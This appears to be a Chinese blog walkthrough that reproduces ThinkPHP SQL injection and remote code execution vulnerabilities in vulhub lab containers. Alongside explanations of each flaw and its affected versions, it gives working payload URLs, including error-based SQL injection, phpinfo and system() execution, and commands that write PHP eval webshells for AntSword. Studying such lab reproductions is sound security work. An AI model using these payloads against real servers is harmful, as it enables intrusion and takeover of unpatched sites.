vulhub thinkphp漏洞复现 | in-sqliniection、2-rce、5.0.23-rce、5-rce漏洞复现(详细图解)
后台-插件-广告管理-内容页头部广告(手机) |
本文会先介绍漏洞原理、影响版本等理论知识,再进行漏洞复现,如果想直接看漏洞复现的,可直接戳右侧/下方标题跳转。
整体内容:
目录
一、in-sqlinjection:
漏洞原理
影响版本
漏洞复现
1.环境启动
2. POC
二、2-rce远程代码执行
漏洞原理
影响版本
漏洞复现
1.环境启动
2.构造payload
3.使用蚁剑getshell
三、5.0.23-rce远程代码执行:
漏洞原理
影响版本
漏洞复现
1.环境启动
2.寻找漏洞点
3.进行远程命令执行
四、5-rce远程代码执行:
漏洞原理
影响版本
漏洞复现
1.环境启动
2.寻找漏洞点
3.使用蚁剑getshell
一、in-sqlinjection:
漏洞原理
在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
影响版本
- 5.0.13<=ThinkPHP<=5.0.15
- 5.1.0<=ThinkPHP<=5.1.5
漏洞复现
1.环境启动
- cd vulhub-master/thinkphp/in-sqlinjection
- docker-compose up -d
2. POC
http://39.107.60.229/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1访问首页:http://39.107.60.229
可以看到user的信息被报错信息带出来了。
二、2-rce远程代码执行
漏洞原理
ThinkPHP2.x版本是使用preg_replace的/e模式匹配的路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));导致用户输入的参数被插入双引号中执行,造成任意代码执行。
ThinkPHP3.x的Lite模式下也没有修复该漏洞,漏洞依旧存在。
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
影响版本
ThinkPHP 2.x漏洞复现
1.环境启动
- cd /vulhub/thinkphp/2-rce #进入漏洞环境所在目录
- docker-compose up -d #启动靶场
- docker ps #查看容器信息
访问相关网页:
2.构造payload
http://192.168.10.129:8080/?s=/Index/index/L/${@phpinfo()}写入一句话木马:
http://192.168.10.129:8080/?s=/Index/index/name/${@print%28eval%28$_POST[1]%29%29}3.使用蚁剑getshell
使用蚁剑连接,成功getshell!
注意连接时,要写一句话木马的poc。
做完别忘了关闭环境:
docker-compose down
三、5.0.23-rce远程代码执行:
漏洞原理
实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行。
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。
影响版本
- ThinkPHP 5.0.x ~ 5.0.23
- ThinkPHP 5.1.x ~ 5.1.31
- ThinkPHP 5.2.0beta1
漏洞复现
1.环境启动
- cd vulhub/thinkphp/5.0.23-rce/ #进入漏洞环境所在目录
- docker-compose up -d #启动靶场
- docker ps #查看容器信息
注:如果不确定端口号,可以输入docker-compose ps查看端口号;输入ifconfig查看IP地址。
2.寻找漏洞点
在此路径下找到了。
http://192.168.10.129:8080/index.php?s=captcha
3.进行远程命令执行
方法一:下载插件hackbar;
在页面点击F12,输入代码块。
方法二:利用burpsuite抓包放包:
做完以后别忘了关闭容器哦,防止下次开启环境端口被占用。
四、5-rce远程代码执行:
漏洞原理
在ThinkPHP5版本中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
影响版本
- ThinkPHP5:
- 5.0.x~5.0.23;
- 5.1.0~5.1.30;
漏洞复现
1.环境启动
- cd /vulhub/thinkphp/5-rce #进入漏洞环境所在目录
- docker-compose up -d #启动靶场
- docker ps #查看容器信息
2.寻找漏洞点
利用可利用点,进行代码拼接
http://192.168.10.129:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1其中,vars[0]用来接收函数名,vars[1][]用来接收参数
再拼接其他语句:
http://192.168.10.129:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27会输出我们打出的123,还有我们整体输入的字符长度。
3.使用蚁剑getshell
写入一句话木马getshell,使用file_put_contents函数写入shell:
http://192.168.10.129:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php
使用蚁剑进行连接,连接成功!
访问http://192.168.10.129:8080这个页面,是我们写入的代码路径。
(谢谢大家!欢迎提出批评和建议!你的支持是我持续更新的巨大动力!)
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |